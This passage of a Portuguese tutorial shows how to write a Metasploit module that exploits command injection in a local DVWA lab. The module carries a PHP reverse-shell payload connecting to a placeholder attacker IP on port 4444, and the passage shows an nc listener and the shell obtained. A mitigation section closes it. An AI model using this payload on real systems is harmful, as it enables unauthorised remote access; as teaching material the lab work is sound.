          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RPATH'&lt;/span&gt;,  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s1"&gt;'Caminho para a solicitação de envio do URL, por exemplo: /login'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RMETHOD'&lt;/span&gt;, &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s2"&gt;"PUT or DELETE"&lt;/span&gt;, &lt;span class="s2"&gt;"GET"&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
  &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;)&lt;/span&gt;
deregister_options&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RHOSTS'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
deregister_options&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'VHOST'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O método register_options é usado para definir as opções que podem ser configuradas para o módulo. Neste caso, as opções incluem o destino da requisição (RHOST), o caminho da URL (RPATH) e o método HTTP a ser utilizado (RMETHOD).&lt;/p&gt;

&lt;p&gt;Além disso, as opções 'RHOSTS' e 'VHOST' são desregistradas, indicando que elas não são relevantes para este módulo.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Método run:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;def run
  begin
    path &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RPATH'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
    method &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RMETHOD'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
    host &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RHOST'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

    res &lt;span class="o"&gt;=&lt;/span&gt; send_request_cgi&lt;span class="o"&gt;(&lt;/span&gt;
      &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;'uri'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"#{normalize_uri(path)}"&lt;/span&gt;,
        &lt;span class="s1"&gt;'method'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; method,
      &lt;span class="o"&gt;}&lt;/span&gt;,
      20
    &lt;span class="o"&gt;)&lt;/span&gt;

    print_good&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;" Send request #{host}#{normalize_uri(path)}"&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;
    print_good&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;" Response status code:  #{res.code}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  rescue ::Exception &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; e
    &lt;span class="k"&gt;return &lt;/span&gt;nil
  end
end

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O método run é chamado quando o módulo é executado. Ele realiza uma requisição HTTP usando o método e a URL especificados nas opções. O resultado da requisição é então exibido, mostrando o host e o código de status da resposta.&lt;/p&gt;

&lt;p&gt;Se ocorrer uma exceção durante a execução (por exemplo, se a requisição falhar), ela será capturada e tratada.&lt;/p&gt;

&lt;p&gt;Abrindo o msfconsole, iremos procurar o nosso script dentro do módulos existente como o seguinte comando:&lt;/p&gt;

&lt;p&gt;Iniciando o msfconsole&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿higordiego&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;msfconsole &lt;span class="nt"&gt;-q&lt;/span&gt;
msf6 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; search artigo

Matching Modules
&lt;span class="o"&gt;================&lt;/span&gt;

   &lt;span class="c"&gt;#  Name                                Disclosure Date  Rank       Check  Description&lt;/span&gt;
   -  &lt;span class="nt"&gt;----&lt;/span&gt;                                &lt;span class="nt"&gt;---------------&lt;/span&gt;  &lt;span class="nt"&gt;----&lt;/span&gt;       &lt;span class="nt"&gt;-----&lt;/span&gt;  &lt;span class="nt"&gt;-----------&lt;/span&gt;
   0  auxiliary/artigo/command_injection                   excellent  No     Criando um script simples que fará uma requisição externa via http


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/artigo/command_injection

msf6 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Iremos selecionar o nosso script para identificar as configurações necessários como parâmetro para sua execução.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
msf6 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; use auxiliary/artigo/command_injection
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; show options

Module options &lt;span class="o"&gt;(&lt;/span&gt;auxiliary/artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt;:

   Name     Current Setting  Required  Description
   &lt;span class="nt"&gt;----&lt;/span&gt;     &lt;span class="nt"&gt;---------------&lt;/span&gt;  &lt;span class="nt"&gt;--------&lt;/span&gt;  &lt;span class="nt"&gt;-----------&lt;/span&gt;
   Proxies                   no        A proxy chain of format &lt;span class="nb"&gt;type&lt;/span&gt;:host:port[,type:host:port][...]
   RHOST                     &lt;span class="nb"&gt;yes       &lt;/span&gt;Solicitacao de URL para site, por exemplo: google.com.br
   RMETHOD  GET              &lt;span class="nb"&gt;yes       &lt;/span&gt;PUT or DELETE
   RPATH                     &lt;span class="nb"&gt;yes       &lt;/span&gt;Caminho para a solicitacao de envio &lt;span class="k"&gt;do &lt;/span&gt;URL, por exemplo: /login
   RPORT    80               &lt;span class="nb"&gt;yes       &lt;/span&gt;The target port &lt;span class="o"&gt;(&lt;/span&gt;TCP&lt;span class="o"&gt;)&lt;/span&gt;
   SSL      &lt;span class="nb"&gt;false            &lt;/span&gt;no        Negotiate SSL/TLS &lt;span class="k"&gt;for &lt;/span&gt;outgoing connections


View the full module info with the info, or info &lt;span class="nt"&gt;-d&lt;/span&gt; command.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inserindo configurações para sua execução, segue abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;RHOST google.com
RHOST &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; google.com
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;RPORT 443
RPORT &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; 443
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;SSL &lt;span class="nb"&gt;true
&lt;/span&gt;SSL &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;true
&lt;/span&gt;msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;RPATH /
RPATH &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; show options

Module options &lt;span class="o"&gt;(&lt;/span&gt;auxiliary/artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt;:

   Name     Current Setting  Required  Description
   &lt;span class="nt"&gt;----&lt;/span&gt;     &lt;span class="nt"&gt;---------------&lt;/span&gt;  &lt;span class="nt"&gt;--------&lt;/span&gt;  &lt;span class="nt"&gt;-----------&lt;/span&gt;
   Proxies                   no        A proxy chain of format &lt;span class="nb"&gt;type&lt;/span&gt;:host:port[,type:host:port][...]
   RHOST    google.com       &lt;span class="nb"&gt;yes       &lt;/span&gt;Solicitacao de URL para site, por exemplo: google.com.br
   RMETHOD  GET              &lt;span class="nb"&gt;yes       &lt;/span&gt;PUT or DELETE
   RPATH    /                &lt;span class="nb"&gt;yes       &lt;/span&gt;Caminho para a solicitacao de envio &lt;span class="k"&gt;do &lt;/span&gt;URL, por exemplo: /login
   RPORT    443              &lt;span class="nb"&gt;yes       &lt;/span&gt;The target port &lt;span class="o"&gt;(&lt;/span&gt;TCP&lt;span class="o"&gt;)&lt;/span&gt;
   SSL      &lt;span class="nb"&gt;true             &lt;/span&gt;no        Negotiate SSL/TLS &lt;span class="k"&gt;for &lt;/span&gt;outgoing connections


View the full module info with the info, or info &lt;span class="nt"&gt;-d&lt;/span&gt; command.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Executando o exploit, segue abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; exploit

&lt;span class="o"&gt;[&lt;/span&gt;+]  Send request google.com/
&lt;span class="o"&gt;[&lt;/span&gt;+]  Response status code:  301
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Auxiliary module execution completed

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com poucas linhas fomos no google via https e o mesmo nos retonou um status 301 informando o seu redirecionamento.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Script simples que não faz muita coisa né ?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Agora imagina que encontramos uma falha de command injection via http em uma aplicação e seria necessário injectar esse comando nessa aplicação ter acesso de um shell reverse, nesse caso iremos aprimorar o nosso script realizando a tal chamada e abriremos um terminal com o nc para receber esse acesso.&lt;/p&gt;

&lt;p&gt;Para essa finalidade, faremos uso de uma aplicação contida em um ambiente Docker para investigar essa vulnerabilidade, criando assim um ambiente de laboratório.&lt;/p&gt;

&lt;h2&gt;
  
  
  Damn Vulnerable Web Application (DWVA)
&lt;/h2&gt;

&lt;p&gt;DVWA, que significa "Damn Vulnerable Web Application", é uma aplicação web de código aberto projetada para ser propositalmente vulnerável. O DVWA é usado para fins educacionais e de treinamento em segurança cibernética. Ele oferece um ambiente controlado no qual os profissionais de segurança, estudantes e entusiastas podem praticar e aprimorar suas habilidades em testes de penetração e descoberta de vulnerabilidades web.&lt;/p&gt;

&lt;p&gt;Principais características do DVWA:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vulnerabilidades Intencionais: O DVWA possui uma variedade de vulnerabilidades web propositais incorporadas, como injeção SQL, cross-site scripting (XSS), cross-site request forgery (CSRF), execução remota de código (RCE), entre outras.&lt;/li&gt;
&lt;li&gt;    Níveis de Segurança Ajustáveis: A aplicação permite ajustar o nível de segurança, o que afeta a dificuldade de explorar as vulnerabilidades. Isso é útil para os usuários ajustarem o ambiente de acordo com seu nível de habilidade e experiência.&lt;/li&gt;
&lt;li&gt;    Ambiente de Treinamento Seguro: O DVWA é destinado a ser usado em um ambiente controlado, como uma máquina virtual local ou um ambiente de laboratório de treinamento. Ele não deve ser implantado em um ambiente de produção, pois possui vulnerabilidades deliberadas.&lt;/li&gt;
&lt;li&gt;    Facilidade de Configuração: A instalação e configuração do DVWA são relativamente simples, tornando-o acessível para iniciantes no campo da segurança cibernética.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Executando via docker, segue o comando abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:80 vulnerables/web-dvwa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploração
&lt;/h2&gt;

&lt;p&gt;Vamos acessar o DVWA em execução na porta 8080 e explorar uma vulnerabilidade conhecida como command injection.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;O que é command injection ?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A injeção de comando (Command Injection) é uma vulnerabilidade de segurança que ocorre quando um aplicativo aceita entradas não confiáveis (como dados do usuário) e as utiliza como parte de um comando que será executado pelo sistema operacional. Isso pode ocorrer em sistemas nos quais os comandos do sistema operacional podem ser incorporados diretamente em uma chamada de função ou em um processo do aplicativo.&lt;/p&gt;

&lt;p&gt;Segue abaixo a tela do DVWA no menu de Command injection:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GwqWDEJT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ygug2xcq7s98fn4aixwk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GwqWDEJT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ygug2xcq7s98fn4aixwk.png" alt="Command Injection" width="800" height="765"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Com fundamentação nesse campo, pretendemos injetar um comando para shell reverso, com o objetivo de acessar a máquina por meio de uma entrada não tratada. Abaixo, encontra-se o script atualizado para o msfconsole.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
class MetasploitModule &amp;lt; Msf::Auxiliary
  Rank &lt;span class="o"&gt;=&lt;/span&gt; ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize&lt;span class="o"&gt;(&lt;/span&gt;info &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{})&lt;/span&gt;
    super&lt;span class="o"&gt;(&lt;/span&gt;update_info&lt;span class="o"&gt;(&lt;/span&gt;info,
      &lt;span class="s1"&gt;'Name'&lt;/span&gt;        &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Criar exemplo de requisição http simples para o Metasploit'&lt;/span&gt;,
      &lt;span class="s1"&gt;'Description'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; %q&lt;span class="o"&gt;{&lt;/span&gt;
        A intenção deste módulo é entender como o Metasploit funciona e o que podemos desenvolver dentro dele.
      &lt;span class="o"&gt;}&lt;/span&gt;,
      &lt;span class="s1"&gt;'Author'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;'Higor Diego'&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;,
      &lt;span class="s1"&gt;'License'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; BSD_LICENSE&lt;span class="o"&gt;))&lt;/span&gt;

      register_options&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="o"&gt;[&lt;/span&gt;
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RHOST'&lt;/span&gt;,  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s1"&gt;'URL para a requisição ao site, por exemplo: google.com.br'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RPATH'&lt;/span&gt;,  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s1"&gt;'Caminho para a URL para enviar a requisição, por exemplo: /login '&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RMETHOD'&lt;/span&gt;, &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s2"&gt;"PUT ou DELETE"&lt;/span&gt;, &lt;span class="s2"&gt;"GET"&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RCOOKIE'&lt;/span&gt;, &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s2"&gt;"Sessão de Cookie"&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;
        &lt;span class="o"&gt;]&lt;/span&gt;
      &lt;span class="o"&gt;)&lt;/span&gt;
      deregister_options&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RHOSTS'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
      deregister_options&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'VHOST'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    end

  def run
    begin
      path &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RPATH'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
      method &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RMETHOD'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
      host &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RHOST'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
      cookie &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RCOOKIE'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

      res &lt;span class="o"&gt;=&lt;/span&gt; send_request_cgi&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s1"&gt;'uri'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"#{normalize_uri(path)}"&lt;/span&gt;,

          &lt;span class="s1"&gt;'method'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; method,
          &lt;span class="s1"&gt;'cookie'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: language=en; cookieconsent_status=dismiss; continueCode=8lwZqVyJnO4gKPNM6DA6Bh9toCVHjfD2TnaSXgULxA1b5ermaLRzpvQx3BWE; PHPSESSID=#{cookie}; security=low"&lt;/span&gt;,
          &lt;span class="s1"&gt;'vars_post'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s1"&gt;'ip'&lt;/span&gt;: &lt;span class="s1"&gt;'127.0.0.1 &amp;amp;&amp;amp; php -r \'&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;fsockopen&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"meu_ip_aqui"&lt;/span&gt;,4444&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"bash &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;',
            '&lt;/span&gt;Submit&lt;span class="s1"&gt;' =&amp;gt; '&lt;/span&gt;Submit&lt;span class="s1"&gt;',
          },
          '&lt;/span&gt;headers&lt;span class="s1"&gt;' =&amp;gt; {
            '&lt;/span&gt;Content-Type&lt;span class="s1"&gt;': '&lt;/span&gt;application/x-www-form-urlencoded&lt;span class="s1"&gt;',
            '&lt;/span&gt;Referer&lt;span class="s1"&gt;': '&lt;/span&gt;http://localhost:8080/vulnerabilities/exec/&lt;span class="s1"&gt;',
          },
          '&lt;/span&gt;ctype&lt;span class="s1"&gt;'       =&amp;gt; '&lt;/span&gt;application/x-www-form-urlencoded&lt;span class="s1"&gt;'
        },
        20
      )

      print_good(" Enviar requisição para #{host}#{normalize_uri(path)}" )
      print_good(" Código de status da resposta:  #{res.code}")
    rescue ::Exception =&amp;gt; e
      return nil
    end
  end

end

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depois de atualizarmos o código, ajustamos as variáveis necessárias para a submissão da solicitação, e suas opções serão configuradas da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; show options

Module options &lt;span class="o"&gt;(&lt;/span&gt;auxiliary/artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt;:

   Name     Current Setting             Required  Description
   &lt;span class="nt"&gt;----&lt;/span&gt;     &lt;span class="nt"&gt;---------------&lt;/span&gt;             &lt;span class="nt"&gt;--------&lt;/span&gt;  &lt;span class="nt"&gt;-----------&lt;/span&gt;
   Proxies                              no        A proxy chain of format &lt;span class="nb"&gt;type&lt;/span&gt;:host:port[,type:host:port][...]
   RCOOKIE  s41u5eodfcav729jlsnsu1t5u5  &lt;span class="nb"&gt;yes       &lt;/span&gt;Sessão de Cookie
   RHOST    127.0.0.1                   &lt;span class="nb"&gt;yes       &lt;/span&gt;URL para a requisição ao site, por exemplo: google.com.br
   RMETHOD  POST                        &lt;span class="nb"&gt;yes       &lt;/span&gt;PUT ou DELETE
   RPATH    /vulnerabilities/exec/      &lt;span class="nb"&gt;yes       &lt;/span&gt;Caminho para a URL para enviar a requisição, por exemplo: /login
   RPORT    8080                        &lt;span class="nb"&gt;yes       &lt;/span&gt;The target port &lt;span class="o"&gt;(&lt;/span&gt;TCP&lt;span class="o"&gt;)&lt;/span&gt;
   SSL      &lt;span class="nb"&gt;false                       &lt;/span&gt;no        Negotiate SSL/TLS &lt;span class="k"&gt;for &lt;/span&gt;outgoing connections


View the full module info with the info, or info &lt;span class="nt"&gt;-d&lt;/span&gt; command.


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Em outro terminal iremos utilizar o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿higordiego&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ao acionar o exploit que foi criado, utilize o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;artigo/command_injection&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; exploit

&lt;span class="o"&gt;[&lt;/span&gt;+]  Enviar requisição para 127.0.0.1/vulnerabilities/exec/
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Auxiliary module execution completed

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No nc temos o seguinte o resultado:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿higordiego&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444            
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;192.168.0.13] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;172.17.0.3] 39752
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dessa forma, conseguimos obter acesso e operar o servidor por meio de alguns comandos de shell, tais como:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿higordiego&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444            
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;192.168.0.13] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;172.17.0.3] 39752
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt;
total 20K
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 ..
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 &lt;span class="nb"&gt;help&lt;/span&gt;
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 www-data www-data 1.8K Oct 12  2018 index.php
drwxr-xr-x 1 www-data www-data 4.0K Oct 12  2018 &lt;span class="nb"&gt;source&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Proteção Command Injection
&lt;/h2&gt;

&lt;p&gt;Proteger contra injeção de comandos (Command Injection) envolve práticas seguras de programação e a implementação de medidas de segurança adequadas. Aqui estão algumas diretrizes gerais que podem ajudar a prevenir vulnerabilidades de injeção de comandos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Validação e Filtragem de Entradas: Valide e filtre rigorosamente todas as entradas do usuário antes de incorporá-las em comandos do sistema ou em consultas de banco de dados. Utilize listas de permissões (whitelists) para permitir apenas caracteres ou padrões específicos nas entradas.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Escape de Caracteres Especiais: Ao incorporar entradas do usuário em comandos, utilize funções ou métodos que escapem caracteres especiais para que eles sejam tratados literalmente, não como parte do comando.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Utilize Parâmetros Seguros: Sempre que possível, utilize parâmetros de consulta ou placeholders ao construir consultas SQL ou comandos do sistema. Isso impede a interpolação direta de dados do usuário nos comandos.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Princípio do Menor Privilégio: Configure processos e aplicativos para terem apenas os privilégios necessários para realizar suas tarefas. Evite executar comandos com privilégios elevados quando não for estritamente necessário.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;Este artigo explorou o universo ético do Metasploit, destacando a importância de utilizar suas ferramentas de maneira responsável e legal, com permissão explícita. &lt;/p&gt;

